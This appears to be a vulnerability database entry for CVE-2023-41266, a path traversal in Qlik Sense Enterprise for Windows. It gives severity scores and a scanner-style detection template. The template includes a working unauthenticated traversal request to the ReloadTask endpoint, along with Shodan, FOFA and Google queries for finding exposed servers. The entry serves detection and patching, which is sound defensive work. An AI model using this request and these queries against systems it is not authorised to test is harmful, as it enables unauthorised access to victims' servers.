8.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
7 High
AI Score
Confidence
High
0.874 High
EPSS
Percentile
98.7%
A path traversal vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows an unauthenticated remote attacker to generate an anonymous session. This allows them to transmit HTTP requests to unauthorized endpoints. This is fixed in August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, and August 2022 Patch 13.
id: CVE-2023-41266
info:
name: Qlik Sense Enterprise - Path Traversal
author: AdamCrosser
severity: medium
description: A path traversal vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows an unauthenticated remote attacker to generate an anonymous session. This allows them to transmit HTTP requests to unauthorized endpoints. This is fixed in August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, and August 2022 Patch 13.
reference:
- https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2110801
- https://www.praetorian.com/blog/advisory-qlik-sense/
- https://www.praetorian.com/blog/qlik-sense-technical-exploit
- https://community.qlik.com/t5/Release-Notes/tkb-p/ReleaseNotes
- https://github.com/Ostorlab/KEV
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2023-41266
cwe-id: CWE-20
epss-score: 0.86555
epss-percentile: 0.98585
cpe: cpe:2.3:a:qlik:qlik_sense:august_2022:-:*:*:enterprise:windows:*:*
metadata:
verified: true
max-request: 1
vendor: qlik
product: qlik_sense
framework: windows
shodan-query:
- http.favicon.hash:-74348711
- http.html:"qlik"
- http.title:"qlik-sense"
fofa-query:
- app="qlik-sense"
- title="qlik-sense"
- icon_hash=-74348711
- body="qlik"
google-query: intitle:"qlik-sense"
tags: cve2023,cve,qlik,traversal,kev,windows
http:
- method: GET
path:
- "{{BaseURL}}/resources/qmc/fonts/../../../qrs/ReloadTask?xrfkey=1333333333333337&filter=.ttf"
headers:
Cookie: X-Qlik-Session=13333333-3333-3333-3333-333333333337
X-Qlik-Xrfkey: '1333333333333337'
matchers:
- type: dsl
dsl:
- status_code == 400
- contains(to_lower(set_cookie), 'x-qlik-session')
- contains(body, 'The comparison expression does not consist of three elements')
condition: and
# digest: 4a0a00473045022100d28967c1386ea69f0f40305e3d7ad2ff52a9dddf10ab9149f4231d06e4ea1166022056accbcd5aa55ffdfcde7bd666ffa7bb5f0eca6db1d05a2ac7c82f7458311a8e:922c64590222798bb761d5b6d8e72950
8.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
7 High
AI Score
Confidence
High
0.874 High
EPSS
Percentile
98.7%